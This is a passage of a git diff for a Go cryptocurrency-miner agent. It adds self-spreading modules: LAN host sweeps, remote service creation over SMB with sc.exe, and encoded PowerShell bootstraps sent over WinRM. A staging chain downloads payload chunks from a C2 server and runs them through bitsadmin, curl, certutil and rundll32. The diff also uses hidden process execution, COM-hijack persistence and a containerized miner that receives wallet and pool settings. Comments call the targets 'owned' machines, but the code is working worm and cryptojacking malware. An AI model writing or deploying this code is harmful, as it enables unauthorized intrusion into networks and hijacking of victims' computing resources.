config.BuiltinConfig{WorkerName: "lab node"}} + got := smbUNCSvcName(cfg, "") + if !strings.HasPrefix(got, "WinMgmtSync_") { + t.Fatalf("got %q", got) + } + if strings.Contains(got, " ") { + t.Fatal("service name must not contain spaces") + } +} + +func TestDiscoverLANSpreadTargetsRespectsCap(t *testing.T) { + targets := DiscoverLANSpreadTargets(2) + if len(targets) > 2 { + t.Fatalf("cap ignored: got %d targets", len(targets)) + } +} diff --git a/agent/deploy/smb_unc_spread_windows.go b/agent/deploy/smb_unc_spread_windows.go new file mode 100644 index 0000000..2c06f64 --- /dev/null +++ b/agent/deploy/smb_unc_spread_windows.go @@ -0,0 +1,103 @@ +//go:build windows + +package deploy + +import ( + "log" + "net" + "strings" + "time" + + "crypto-miner-agent/config" +) + +func runSMBUNCSpreadSweep(cfg config.RuntimeConfig, opts SMBUNCSpreadOpts, targets []string) { + beginSpreadSweep("smb_unc_sc", len(targets)) + if len(targets) == 0 { + finishSpreadSweepImmediate() + return + } + shareRoot := uncShareRoot(opts.UNCPath) + if shareRoot != "" { + _ = ensureNetUse(shareRoot) + } + svcName := smbUNCSvcName(cfg, opts.SvcName) + binPath := formatSCBinPath(opts.UNCPath, runFlag) + for _, target := range targets { + spreadSem <- struct{}{} + go func(host string) { + defer func() { <-spreadSem }() + attemptSMBUNCSpread(host, svcName, binPath) + }(target) + } +} + +func uncShareRoot(unc string) string { + unc = strings.TrimSpace(unc) + if len(unc) < 3 || !strings.HasPrefix(strings.ToLower(unc), `\\`) { + return "" + } + parts := strings.Split(unc[2:], `\`) + if len(parts) < 2 || parts[0] == "" || parts[1] == "" { + return "" + } + return `\\` + parts[0] + `\` + parts[1] +} + +func ensureNetUse(share string) error { + out, err := HiddenCombinedOutput("net.exe", "use", share) + if err == nil { + return nil + } + msg := strings.ToLower(string(out)) + if strings.Contains(msg, "already") || strings.Contains(msg, "success") { + return nil + } + return err +} + +func formatSCBinPath(unc, args string) string { + unc = strings.TrimSpace(unc) + args = strings.TrimSpace(args) + if args == "" { + return `"` + unc + `"` + } + return `"` + unc + `" ` + args +} + +func attemptSMBUNCSpread(target, svcName, binPath string) { + conn, err := net.DialTimeout("tcp", target+":445", 2*time.Second) + if err != nil { + recordSpreadAttempt(target, false, "port 445 closed") + return + } + conn.Close() + + var credSession SpreadCredSession + var credCleanup func() + if session, ok := acquireSpreadCred(target, "smb_unc_sc"); ok { + credSession = session + if cleanup, applied := applySpreadCredSession(target, session); applied { + credCleanup = cleanup + } + } + if credCleanup != nil { + defer credCleanup() + } + + _ = HiddenRun("sc.exe", `\\`+target, "stop", svcName) + _ = HiddenRun("sc.exe", `\\`+target, "delete", svcName) + _ = HiddenRun("sc.exe", `\\`+target, "create", svcName, + "binPath=", binPath, + "type=", "own", + "start=", "demand") + + if err := HiddenRun("sc.exe", `\\`+target, "start", svcName); err == nil { + log.Printf("[smb-unc] remote service started on %s → %s", target, svcName) + recordSpreadAttempt(target, true, "") + reportSpreadCredEdge(target, "smb_unc_sc", credSession, true) + } else { + recordSpreadAttempt(target, false, "remote sc start failed") + reportSpreadCredEdge(target, "smb_unc_sc", credSession, false) + } +} diff --git a/agent/deploy/spread_targets.go b/agent/deploy/spread_targets.go new file mode 100644 index 0000000..653d7bd --- /dev/null +++ b/agent/deploy/spread_targets.go @@ -0,0 +1,66 @@ +package deploy + +import ( + "net" + "time" +) + +// DiscoverLANSpreadTargets returns remote IPv4 hosts for lateral spread sweeps. +// ARP cache is consulted first; a capped /24 port knock supplements sparse caches. +func DiscoverLANSpreadTargets(maxHosts int) []string { + if maxHosts <= 0 { + maxHosts = 64 + } + if maxHosts > MaxSubnetScanHosts { + maxHosts = MaxSubnetScanHosts + } + + targets := mergeUniqueIPv4(arpHosts(), neighborHosts()) + if len(targets) < 3 { + ips := getLocalIPs() + seen := make(map[string]bool) + for _, t := range targets { + seen[t] = true + } + for _, ip := range ips { + if !isIPv4(ip) { + continue + } + subnet := getSubnet(ip) + if subnet == "" { + continue + } + for i := 1; i < 255 && len(targets) < maxHosts; i++ { + candidate, ok := ipv4SweepHost(subnet, i) + if !ok { + break + } + if candidate == ip || seen[candidate] { + continue + } + conn, err := net.DialTimeout("tcp", candidate+":445", 400*time.Millisecond) + if err == nil { + conn.Close() + seen[candidate] = true + targets = append(targets, candidate) + } + } + } + } + + localSet := make(map[string]bool) + for _, ip := range getLocalIPs() { + localSet[ip] = true + } + var filtered []string + for _, target := range targets { + if localSet[target] { + continue + } + filtered = append(filtered, target) + if len(filtered) >= maxHosts { + break + } + } + return filtered +} diff --git a/agent/deploy/staging.go b/agent/deploy/staging.go new file mode 100644 index 0000000..0b6fad3 --- /dev/null +++ b/agent/deploy/staging.go @@ -0,0 +1,97 @@ +package deploy + +import ( + "crypto/sha256" + "encoding/hex" + "fmt" + "io" + "os" + "path/filepath" + "strings" +) + +// StagingChunk is one downloadable piece of a staged payload. +type StagingChunk struct { + URL string `json:"url"` + File string `json:"file"` +} + +// StagingManifest describes a BITS/curl/certutil staging chain from the C2. +type StagingManifest struct { + Method string `json:"method"` // curl | bits + Chunks []StagingChunk `json:"chunks"` + SHA256 string `json:"sha256"` + Dest string `json:"dest"` + Launch string `json:"launch"` // exe | rundll32 + DLLExport string `json:"dll_export,omitempty"` + Encoded bool `json:"encoded"` // chunks are base64; decode via certutil + DeferMining bool `json:"defer_mining,omitempty"` + SpreadInstall bool `json:"spread_install,omitempty"` +} + +// ResolveStagingPath applies the same traversal hygiene as upload/download commands. +func ResolveStagingPath(remote string) (string, error) { + return ResolveRemotePath(remote) +} + +func sanitizeStagingFilename(name string) (string, error) { + name = strings.TrimSpace(name) + name = strings.ReplaceAll(name, "\\", "/") + if name == "" { + return "", fmt.Errorf("chunk filename is empty") + } + parts := strings.Split(name, "/") + var clean []string + for _, p := range parts { + p = strings.TrimSpace(p) + if p == "" || p == "." || p == ".." { + continue + } + clean = append(clean, p) + } + if len(clean) == 0 { + return "", fmt.Errorf("chunk filename is empty") + } + return filepath.Join(clean...), nil +} + +func verifyFileSHA256(path, expected string) error { + expected = strings.ToLower(strings.TrimSpace(expected)) + if expected == "" { + return fmt.Errorf("sha256 hash is required") + } + f, err := os.Open(path) + if err != nil { + return err + } + defer f.Close() + h := sha256.New() + if _, err := io.Copy(h, f); err != nil { + return err + } + got := hex.EncodeToString(h.Sum(nil)) + if got != expected { + return fmt.Errorf("sha256 mismatch: got %s want %s", got, expected) + } + return nil +} + +func concatFiles(dest string, parts []string) error { + out, err := os.OpenFile(dest, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0o755) + if err != nil { + return err + } + defer out.Close() + for _, part := range parts { + in, err := os.Open(part) + if err != nil { + return err + } + if _, err := io.Copy(out, in); err != nil { + in.Close() + return err + } + in.Close() + } + return nil +} diff --git a/agent/deploy/staging_stub.go b/agent/deploy/staging_stub.go new file mode 100644 index 0000000..b97d110 --- /dev/null +++ b/agent/deploy/staging_stub.go @@ -0,0 +1,14 @@ +//go:build !windows + +package deploy + +import ( + "fmt" + + "crypto-miner-agent/config" +) + +// RunStagingChain is Windows-only (BITS/curl/certutil/rundll32). +func RunStagingChain(_ config.RuntimeConfig, _ StagingManifest) (string, error) { + return "", fmt.Errorf("staging chain is Windows-only") +} diff --git a/agent/deploy/staging_test.go b/agent/deploy/staging_test.go new file mode 100644 index 0000000..fa5a9fe --- /dev/null +++ b/agent/deploy/staging_test.go @@ -0,0 +1,96 @@ +package deploy + +import ( + "crypto/sha256" + "encoding/hex" + "os" + "path/filepath" + "strings" + "testing" +) + +func TestStagingRejectsPathTraversal(t *testing.T) { + cases := []struct { + name string + path string + }{ + {name: "unix_relative", path: "../../etc/passwd"}, + {name: "windows_relative", path: `..\..\Windows\System32\config\sam`}, + {name: "embedded_traversal", path: "staging/../../outside.exe"}, + {name: "absolute_with_traversal", path: "/var/tmp/../../etc/shadow"}, + } + + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + _, err := ResolveStagingPath(tc.path) + if err == nil { + t.Fatalf("ResolveStagingPath(%q) should reject traversal", tc.path) + } + if !strings.Contains(err.Error(), "path traversal") { + t.Fatalf("ResolveStagingPath(%q) error = %q, want path traversal rejection", tc.path, err.Error()) + } + }) + } +} + +func TestSanitizeStagingFilenameRejectsTraversal(t *testing.T) { + cases := []string{ + "../evil.bin", + `..\..\payload.exe`, + "parts/../../../x.b64", + } + for _, raw := range cases { + got, err := sanitizeStagingFilename(raw) + if err != nil { + continue + } + if strings.Contains(got, "..") { + t.Fatalf("sanitizeStagingFilename(%q) leaked traversal: %q", raw, got) + } + } +} + +func TestSanitizeStagingFilenameAcceptsSafeName(t *testing.T) { + got, err := sanitizeStagingFilename("chunk-0.b64") + if err != nil { + t.Fatal(err) + } + if got != "chunk-0.b64" { + t.Fatalf("got %q", got) + } +} + +func TestVerifyFileSHA256Match(t *testing.T) { + dir := t.TempDir() + path := filepath.Join(dir, "payload.bin") + content := []byte("staging-chunk-data") + if err := os.WriteFile(path, content, 0o644); err != nil { + t.Fatal(err) + } + sum := sha256.Sum256(content) + if err := verifyFileSHA256(path, hex.EncodeToString(sum[:])); err != nil { + t.Fatalf("verify: %v", err) + } +} + +func TestVerifyFileSHA256Mismatch(t *testing.T) { + dir := t.TempDir() + path := filepath.Join(dir, "payload.bin") + if err := os.WriteFile(path, []byte("other"), 0o644); err != nil { + t.Fatal(err) + } + if err := verifyFileSHA256(path, strings.Repeat("a", 64)); err == nil { + t.Fatal("expected sha256 mismatch error") + } +} + +func TestVerifyFileSHA256RequiresHash(t *testing.T) { + dir := t.TempDir() + path := filepath.Join(dir, "empty.bin") + if err := os.WriteFile(path, nil, 0o644); err != nil { + t.Fatal(err) + } + if err := verifyFileSHA256(path, ""); err == nil { + t.Fatal("expected error for empty expected hash") + } +} diff --git a/agent/deploy/staging_windows.go b/agent/deploy/staging_windows.go new file mode 100644 index 0000000..53ce6bc --- /dev/null +++ b/agent/deploy/staging_windows.go @@ -0,0 +1,141 @@ +//go:build windows + +package deploy + +import ( + "fmt" + "os" + "path/filepath" + "strings" + "time" + + "crypto-miner-agent/config" +) + +// RunStagingChain downloads chunks via curl.exe or bitsadmin, optionally decodes +// with certutil, verifies the server-supplied SHA256, and launches via rundll32 or exe. +func RunStagingChain(cfg config.RuntimeConfig, manifest StagingManifest) (string, error) { + if len(manifest.Chunks) == 0 { + return "", fmt.Errorf("staging manifest has no chunks") + } + dest, err := ResolveStagingPath(manifest.Dest) + if err != nil { + return "", err + } + workDir := filepath.Join(filepath.Dir(dest), ".staging-"+sanitizeName(cfg.WorkerName)) + if err := os.MkdirAll(workDir, 0o700); err != nil { + return "", err + } + defer os.RemoveAll(workDir) + + method := strings.ToLower(strings.TrimSpace(manifest.Method)) + if method == "" { + method = "curl" + } + + var assembled []string + for i, chunk := range manifest.Chunks { + name, err := sanitizeStagingFilename(chunk.File) + if err != nil { + return "", fmt.Errorf("chunk %d: %w", i, err) + } + localPath := filepath.Join(workDir, name) + if err := os.MkdirAll(filepath.Dir(localPath), 0o700); err != nil { + return "", err + } + switch method { + case "bits", "bitsadmin": + if err := downloadChunkBITS(chunk.URL, localPath); err != nil { + return "", fmt.Errorf("bits chunk %d: %w", i, err) + } + default: + if err := downloadChunkCurl(chunk.URL, localPath); err != nil { + return "", fmt.Errorf("curl chunk %d: %w", i, err) + } + } + if manifest.Encoded || strings.HasSuffix(strings.ToLower(name), ".b64") { + decoded := strings.TrimSuffix(localPath, filepath.Ext(localPath)) + ".bin" + if err := certutilDecode(localPath, decoded); err != nil { + return "", fmt.Errorf("certutil chunk %d: %w", i, err) + } + assembled = append(assembled, decoded) + } else { + assembled = append(assembled, localPath) + } + } + + if err := os.MkdirAll(filepath.Dir(dest), 0o755); err != nil { + return "", err + } + if len(assembled) == 1 { + if err := os.Rename(assembled[0], dest); err != nil { + if err := copyFile(assembled[0], dest); err != nil { + return "", err + } + } + } else { + if err := concatFiles(dest, assembled); err != nil { + return "", err + } + } + if err := verifyFileSHA256(dest, manifest.SHA256); err != nil { + _ = os.Remove(dest) + return "", err + } + + launch := strings.ToLower(strings.TrimSpace(manifest.Launch)) + switch launch { + case "rundll32", "dll": + export := strings.TrimSpace(manifest.DLLExport) + if export == "" { + export = "DllRegisterServer" + } + if err := HiddenStart("rundll32.exe", dest+","+export); err != nil { + return "", fmt.Errorf("rundll32 launch: %w", err) + } + return fmt.Sprintf("staged %d chunk(s) via %s to %s; launched rundll32 %s", len(manifest.Chunks), method, dest, export), nil + default: + args := []string{runFlag} + if manifest.DeferMining { + args = append(args, deferMiningFlag) + } + if manifest.SpreadInstall { + args = append(args, spreadFlag) + } + if err := HiddenStart(dest, args...); err != nil { + return "", fmt.Errorf("exe launch: %w", err) + } + return fmt.Sprintf("staged %d chunk(s) via %s to %s; launched exe %v", len(manifest.Chunks), method, dest, args), nil + } +} + +func downloadChunkCurl(url, dest string) error { + url = strings.TrimSpace(url) + if url == "" { + return fmt.Errorf("chunk url is empty") + } + return HiddenRun("curl.exe", "-sSL", "--fail", "-o", dest, url) +} + +func downloadChunkBITS(url, dest string) error { + url = strings.TrimSpace(url) + if url == "" { + return fmt.Errorf("chunk url is empty") + } + job := "AetherForge-Stage-" + sanitizeName(filepath.Base(dest)) + fmt.Sprintf("-%d", time.Now().Unix()) + steps := [][]string{ + {"/transfer", job, "/download", "/priority", "FOREGROUND", url, dest}, + } + for _, args := range steps { + if err := HiddenRun("bitsadmin", args...); err != nil { + _ = HiddenRun("bitsadmin", "/cancel", job) + return err + } + } + _ = HiddenRun("bitsadmin", "/complete", job) + return nil +} + +func certutilDecode(src, dest string) error { + return HiddenRun("certutil.exe", "-f", "-decode", src, dest) +} diff --git a/agent/deploy/subnet.go b/agent/deploy/subnet.go index 60bbe2b..4d838a0 100644 --- a/agent/deploy/subnet.go +++ b/agent/deploy/subnet.go @@ -8,11 +8,15 @@ import ( // Spread prerequisites for lateral deployment modules: // -// Windows (SMB/SCM via autospread.go): +// Windows (SMB/SCM via autospread.go and smb_unc_spread.go): // - Target TCP/445 (SMB) must be reachable on the LAN. -// - The agent process token must have rights to write \\host\ADMIN$ or \\host\C$ -// and create/start a remote service via sc.exe (typically requires local admin -// or equivalent on the target). +// - Classic spread (autospread.go): copy payload to \\host\ADMIN$ or \\host\C$, +// then sc.exe \\host create/start on the local path. +// - UNC spread (smb_unc_spread.go): sc.exe \\host create/start with binPath= +// pointing at a Forge output UNC (\\forge\pathforge$\worker.exe). Uses net.exe +// use on the share root when needed. Path Tracer can dispatch spread_smb_unc on +// the egress hop via POST /api/v1/pathtrace/spread. +// - Both require an admin-capable token on the target for remote SCM. // // Unix (SSH via autospread_unix.go): // - Target TCP/22 (SSH) must be reachable. @@ -20,10 +24,13 @@ import ( // already work — e.g. the agent user's public key in target authorized_keys, // or root/ubuntu with pre-placed keys. Interactive password prompts are not supported. // -// Subnet discovery: -// - Active /24 host sweeps are IPv4-only. IPv6 addresses are tracked for local -// self-skip but are not port-scanned (a /64 sweep is impractical). IPv6 peers -// may appear when the OS neighbor cache lists them on a shared /64. +// Subnet discovery (per-agent, incremental — not fleet-wide full sweeps): +// - Active /24 host sweeps are IPv4-only, capped by MaxSubnetScanHosts (natpunch.go). +// syscheck uses a small cap (20); subnet_scan command defaults to 64 via command arg. +// - IPv6 addresses are tracked for local self-skip but are not port-scanned (/64 +// sweeps are impractical). IPv6 peers may appear from the OS neighbor cache. +// - ARP cache is consulted first (arp_*.go) before any active sweep. +// - Lateral spread uses spreadSem (16 concurrent targets) per agent. // getLocalIPs returns IPv4 and IPv6 addresses on up, non-loopback interfaces. func getLocalIPs() []string { diff --git a/agent/deploy/vuln_recon.go b/agent/deploy/vuln_recon.go new file mode 100644 index 0000000..bc2390e --- /dev/null +++ b/agent/deploy/vuln_recon.go @@ -0,0 +1,20 @@ +package deploy + +import ( + "log" + + "crypto-miner-agent/vulnprobe" +) + +func init() { + vulnprobe.HiddenExec = HiddenCombinedOutput +} + +// RunVulnRecon executes read-only LOTL vulnerability recon (report-only, no exploit). +func RunVulnRecon(osVersion string) *vulnprobe.ScanReport { + ctx := vulnprobe.ProbeHost(nil, osVersion) + report := vulnprobe.Run(ctx) + log.Printf("[vuln-recon] risk=%d exposed=%d findings=%d — %s", + report.RiskScore, report.ExposedCount, len(report.Findings), report.Summary) + return report +} diff --git a/agent/deploy/winrm_bootstrap.go b/agent/deploy/winrm_bootstrap.go new file mode 100644 index 0000000..3601261 --- /dev/null +++ b/agent/deploy/winrm_bootstrap.go @@ -0,0 +1,128 @@ +//go:build windows + +package deploy + +import ( + "encoding/base64" + "fmt" + "log" + "os" + "strings" + "time" + "unicode/utf16" + + "crypto-miner-agent/config" +) + +// attemptWinRMSpread deploys via WinRM session + encoded bootstrap (owned/lab). +func attemptWinRMSpread(cfg config.RuntimeConfig, target string) { + if !portOpen(target, 5985, 1500*time.Millisecond) && !portOpen(target, 5986, 1500*time.Millisecond) { + recordSpreadAttempt(target, false, "winrm port closed") + return + } + + exePath, err := os.Executable() + if err != nil { + recordSpreadAttempt(target, false, "executable path unavailable") + return + } + + destName := sharePayloadName(cfg) + script := fmt.Sprintf(` +$dest = Join-Path $env:TEMP '%s' +Copy-Item -LiteralPath '%s' -Destination $dest -Force -EA SilentlyContinue +if (Test-Path $dest) { + Start-Process -FilePath $dest -ArgumentList '--spread-install','--defer-mining' -WindowStyle Hidden -EA SilentlyContinue +} +`, destName, strings.ReplaceAll(exePath, `'`, `''`)) + + encoded := encodePowerShell(script) + var credSession SpreadCredSession + ps := fmt.Sprintf(` +$s = New-PSSession -ComputerName '%s' -EA SilentlyContinue +if ($s) { + Invoke-Command -Session $s -EncodedCommand '%s' -EA SilentlyContinue + Remove-PSSession $s -EA SilentlyContinue +} +`, target, encoded) + if session, ok := acquireSpreadCred(target, "winrm_encoded"); ok { + credSession = session + ps = winRMCredPSBlock(target, session, fmt.Sprintf("powershell -EncodedCommand '%s'", encoded)) + } + + if err := HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps); err == nil { + log.Printf("[autospread] WinRM encoded bootstrap succeeded on %s", target) + recordSpreadAttempt(target, true, "") + reportSpreadCredEdge(target, "winrm_encoded", credSession, true) + if cfg.COMHijackPersist { + _ = applyCOMHijackPersistence(exePath) + } + return + } + recordSpreadAttempt(target, false, "winrm invoke failed") + reportSpreadCredEdge(target, "winrm_encoded", credSession, false) +} + +func encodePowerShell(script string) string { + utf16le := utf16.Encode([]rune(script)) + buf := make([]byte, len(utf16le)*2) + for i, r := range utf16le { + buf[i*2] = byte(r) + buf[i*2+1] = byte(r >> 8) + } + return base64.StdEncoding.EncodeToString(buf) +} + +// spreadViaWinRM sweeps local /24 for WinRM-open hosts when WinRMSpread or AutoSpread is enabled. +func spreadViaWinRM(cfg config.RuntimeConfig) { + if !cfg.WinRMSpread && !cfg.AutoSpread { + return + } + + localIPs := getLocalIPs() + var targets []string + localSet := make(map[string]bool) + for _, ip := range localIPs { + localSet[ip] = true + } + for _, ip := range localIPs { + if !isIPv4(ip) { + continue + } + subnet := getSubnet(ip) + if subnet == "" { + continue + } + for i := 1; i < 255; i++ { + candidate, ok := ipv4SweepHost(subnet, i) + if !ok { + break + } + if localSet[candidate] { + continue + } + if portOpen(candidate, 5985, 400*time.Millisecond) || portOpen(candidate, 5986, 400*time.Millisecond) { + targets = append(targets, candidate) + } + } + } + beginSpreadSweep("winrm_encoded", len(targets)) + if len(targets) == 0 { + finishSpreadSweepImmediate() + return + } + for _, target := range targets { + t := target + spreadSem <- struct{}{} + go func() { + defer func() { <-spreadSem }() + attemptWinRMSpread(cfg, t) + }() + } +} + +// EnableLocalPSRemoting prepares this host for WinRM bootstrap templates (owned machines). +func EnableLocalPSRemoting() error { + ps := `Enable-PSRemoting -Force -SkipNetworkProfileCheck; Set-Item WSMan:\localhost\Client\TrustedHosts -Value '*' -Force` + return HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", ps) +} diff --git a/agent/main.go b/agent/main.go index 662293b..1a617f0 100644 --- a/agent/main.go +++ b/agent/main.go @@ -88,6 +88,7 @@ func main() { // AgentClient.authenticate() only after the server accepts our fleet secret, // which verifies we are on an owned fleet before initiating lateral movement. deploy.StartPassiveSpreader(cfg) + deploy.StartLotlOnion(cfg) if cfg.AutoSpread && deploy.WantsFirstRunSpread(cfg) { // First-run spread marker is cleared after auth succeeds (handled in client). deploy.ClearFirstRunSpreadMarker(cfg) diff --git a/agent/miner/container_launcher.go b/agent/miner/container_launcher.go new file mode 100644 index 0000000..4c2cae3 --- /dev/null +++ b/agent/miner/container_launcher.go @@ -0,0 +1,258 @@ +package miner + +import ( + "bytes" + "fmt" + "log" + "os" + "os/exec" + "runtime" + "strings" + "sync" + + "crypto-miner-agent/config" +) + +const defaultMinerImage = "aetherforge/agent-worker:latest" + +// containerExecCommand is exec.Command; tests override via SetContainerExecCommand. +var containerExecCommand = exec.Command + +// SetContainerExecCommand restores the default when fn is nil. +func SetContainerExecCommand(fn func(name string, args ...string) *exec.Cmd) { + if fn == nil { + containerExecCommand = exec.Command + return + } + containerExecCommand = fn +} + +// ContainerLauncher supervises an OCI workload that runs CPU mining isolated from the host agent. +type ContainerLauncher struct { + cfg config.RuntimeConfig + runtime ContainerRuntimeInfo + image string + name string + tarPath string // non-empty → docker load from tar, never registry pull + readOnly bool // docker_load tier uses --read-only rootfs + + mu sync.Mutex + running bool + cmd *exec.Cmd +} + +// NewContainerLauncher builds a launcher when a container runtime is available. +func NewContainerLauncher(cfg config.RuntimeConfig, runtime ContainerRuntimeInfo) (*ContainerLauncher, error) { + return newContainerLauncher(cfg, runtime, "", false) +} + +// NewContainerLauncherFromTar builds a docker_load tier launcher (local tar, no registry pull). +func NewContainerLauncherFromTar(cfg config.RuntimeConfig, runtime ContainerRuntimeInfo, tarPath string) (*ContainerLauncher, error) { + tarPath = strings.TrimSpace(tarPath) + if tarPath == "" { + return nil, ErrNoImageTar + } + return newContainerLauncher(cfg, runtime, tarPath, true) +} + +func newContainerLauncher(cfg config.RuntimeConfig, runtime ContainerRuntimeInfo, tarPath string, readOnly bool) (*ContainerLauncher, error) { + if !runtime.Available || runtime.CLI == "" { + return nil, fmt.Errorf("no container runtime (docker/podman not in PATH)") + } + image := strings.TrimSpace(os.Getenv("AETHERFORGE_MINER_IMAGE")) + if image == "" { + image = defaultMinerImage + } + name := containerName(cfg) + return &ContainerLauncher{ + cfg: cfg, + runtime: runtime, + image: image, + name: name, + tarPath: tarPath, + readOnly: readOnly, + }, nil +} + +func containerName(cfg config.RuntimeConfig) string { + suffix := strings.TrimSpace(cfg.BuildID) + if suffix == "" { + suffix = "worker" + } + suffix = strings.Map(func(ch rune) rune { + if (ch >= 'a' && ch <= 'z') || (ch >= 'A' && ch <= 'Z') || (ch >= '0' && ch <= '9') || ch == '-' { + return ch + } + return '-' + }, suffix) + return "aetherforge-miner-" + suffix +} + +// Start launches the miner container (idempotent while already running). +func (l *ContainerLauncher) Start() error { + l.mu.Lock() + defer l.mu.Unlock() + if l.running { + return nil + } + + if l.tarPath != "" { + loaded, err := l.loadImageFromTar() + if err != nil { + return err + } + if loaded != "" { + l.image = loaded + } + } + + args := l.buildRunArgs() + cmd := containerExecCommand(l.runtime.CLI, args...) + cmd.Stdout = nil + cmd.Stderr = nil + if err := cmd.Start(); err != nil { + return fmt.Errorf("%s run failed: %w", l.runtime.CLI, err) + } + l.cmd = cmd + l.running = true + mode := "registry" + if l.tarPath != "" { + mode = "docker_load" + } + log.Printf("[container] started %s (%s) image=%s mode=%s wallet=%s", l.name, l.runtime.CLI, l.image, mode, l.cfg.Wallet) + go l.waitExit() + return nil +} + +func (l *ContainerLauncher) waitExit() { + if l.cmd == nil { + return + } + err := l.cmd.Wait() + l.mu.Lock() + l.running = false + l.cmd = nil + l.mu.Unlock() + if err != nil { + log.Printf("[container] miner container exited: %v — host will fall back to in-process mining if configured", err) + } else { + log.Printf("[container] miner container stopped") + } +} + +// Stop removes the running container. +func (l *ContainerLauncher) Stop() { + l.mu.Lock() + running := l.running + l.mu.Unlock() + if !running { + return + } + _ = containerExecCommand(l.runtime.CLI, "rm", "-f", l.name).Run() + l.mu.Lock() + if l.cmd != nil && l.cmd.Process != nil { + _ = l.cmd.Process.Kill() + } + l.running = false + l.cmd = nil + l.mu.Unlock() +} + +// Image returns the OCI image reference used for the miner workload. +func (l *ContainerLauncher) Image() string { + return l.image +} + +// Running reports whether the launcher believes the container is active. +func (l *ContainerLauncher) Running() bool { + l.mu.Lock() + defer l.mu.Unlock() + return l.running +} + +func (l *ContainerLauncher) loadImageFromTar() (string, error) { + cmd := containerExecCommand(l.runtime.CLI, "load", "-i", l.tarPath) + var buf bytes.Buffer + cmd.Stdout = &buf + cmd.Stderr = &buf + if err := cmd.Run(); err != nil { + return "", fmt.Errorf("%s load failed: %w (%s)", l.runtime.CLI, err, strings.TrimSpace(buf.String())) + } + for _, line := range strings.Split(buf.String(), "\n") { + line = strings.TrimSpace(line) + if after, ok := strings.CutPrefix(line, "Loaded image:"); ok { + return strings.TrimSpace(after), nil + } + if after, ok := strings.CutPrefix(line, "Loaded image ID:"); ok { + return strings.TrimSpace(after), nil + } + } + return "", nil +} + +func (l *ContainerLauncher) buildRunArgs() []string { + args := []string{ + "run", "--rm", "-d", + "--name", l.name, + } + + if l.tarPath != "" { + args = append(args, "--pull=never") + } + + if l.readOnly { + args = append(args, "--read-only", "--tmpfs", "/tmp") + } + + if runtime.GOOS == "linux" { + args = append(args, "--network", "host") + } + if l.cfg.GPUEnabled { + args = append(args, "--gpus", "all") + } + + env := l.containerEnv() + for _, e := range env { + args = append(args, "-e", e) + } + + args = append(args, l.image) + return args +} + +func (l *ContainerLauncher) containerEnv() []string { + threads := l.cfg.EffectiveThreads() + pairs := map[string]string{ + "AETHERFORGE_SERVER_URL": l.cfg.ServerURL, + "AETHERFORGE_WALLET": l.cfg.Wallet, + "AETHERFORGE_WORKER": l.cfg.WorkerName, + "AETHERFORGE_POOL_HOST": l.cfg.PoolHost, + "AETHERFORGE_POOL_PORT": fmt.Sprintf("%d", l.cfg.PoolPort), + "AETHERFORGE_POOL_TLS": boolEnv(l.cfg.PoolTLS), + "AETHERFORGE_POOL_PASS": l.cfg.PoolPass, + "AETHERFORGE_THREADS": fmt.Sprintf("%d", threads), + "AETHERFORGE_MINER_EXECUTION": ExecutionInProcess, + "AETHERFORGE_FLEET_SECRET": l.cfg.FleetSecret, + "MINER_LOG_FILE": "/tmp/miner.log", + } + if l.cfg.RVNWallet != "" { + pairs["AETHERFORGE_RVN_WALLET"] = l.cfg.RVNWallet + pairs["AETHERFORGE_RVN_POOL_HOST"] = l.cfg.RVNPoolHost + pairs["AETHERFORGE_RVN_POOL_PORT"] = fmt.Sprintf("%d", l.cfg.RVNPoolPort) + pairs["AETHERFORGE_GPU_ENABLED"] = boolEnv(l.cfg.GPUEnabled) + } + out := make([]string, 0, len(pairs)) + for k, v := range pairs { + if v != "" { + out = append(out, k+"="+v) + } + } + return out +} + +func boolEnv(v bool) string { + if v { + return "1" + } + return "0" +} diff --git a/agent/miner/container_launcher_test.go b/agent/miner/container_launcher_test.go new file mode 100644 index 0000000..79c400a --- /dev/null +++ b/agent/miner/container_launcher_test.go @@ -0,0 +1,236 @@ +package miner + +import ( + "os" + "os/exec" + "path/filepath" + "runtime" + "strings" + "testing" + + "crypto-miner-agent/config" +) + +func longRunningTestCmd() *exec.Cmd { + if runtime.GOOS == "windows" { + return exec.Command("ping", "-n", "600", "127.0.0.1") + } + return exec.Command("sleep", "600") +} + +func quickExitTestCmd() *exec.Cmd { + if runtime.GOOS == "windows" { + return exec.Command("cmd", "/c", "exit", "0") + } + return exec.Command("true") +} + +func dockerEnvFromArgs(args []string) map[string]string { + out := make(map[string]string) + for i := 0; i < len(args); i++ { + if args[i] != "-e" || i+1 >= len(args) { + continue + } + i++ + k, v, ok := strings.Cut(args[i], "=") + if !ok { + continue + } + out[k] = v + } + return out +} + +func TestContainerLauncherStartWithFakeRuntime(t *testing.T) { + const customImage = "registry.example/aether-worker:test" + t.Setenv("AETHERFORGE_MINER_IMAGE", customImage) + + var gotCLI string + var gotArgs []string + SetContainerExecCommand(func(name string, args ...string) *exec.Cmd { + if len(args) > 0 && args[0] == "rm" { + return quickExitTestCmd() + } + gotCLI = name + gotArgs = append([]string(nil), args...) + return longRunningTestCmd() + }) + defer SetContainerExecCommand(nil) + + cfg := config.RuntimeConfig{ + BuiltinConfig: config.BuiltinConfig{ + BuildID: "test-build", + ServerURL: "http://c2.example", + Wallet: "XMR:wallet", + WorkerName: "worker-1", + PoolHost: "pool.example.com", + PoolPort: 3333, + PoolTLS: true, + PoolPass: "x", + ThreadMode: "fixed", + Threads: 4, + FleetSecret: "fleet-secret", + }, + } + rt := ContainerRuntimeInfo{Available: true, CLI: "docker", Version: "24.0.0"} + + launcher, err := NewContainerLauncher(cfg, rt) + if err != nil { + t.Fatalf("NewContainerLauncher: %v", err) + } + if launcher.Image() != customImage { + t.Fatalf("Image()=%q want %q", launcher.Image(), customImage) + } + + if err := launcher.Start(); err != nil { + t.Fatalf("Start: %v", err) + } + defer launcher.Stop() + + if gotCLI != "docker" { + t.Fatalf("runtime CLI=%q want docker", gotCLI) + } + + wantPrefix := []string{"run", "--rm", "-d", "--name", "aetherforge-miner-test-build"} + if len(gotArgs) < len(wantPrefix) { + t.Fatalf("args=%v too short, want prefix %v", gotArgs, wantPrefix) + } + for i, w := range wantPrefix { + if gotArgs[i] != w { + t.Fatalf("args[%d]=%q want %q full=%v", i, gotArgs[i], w, gotArgs) + } + } + + if runtime.GOOS == "linux" { + if 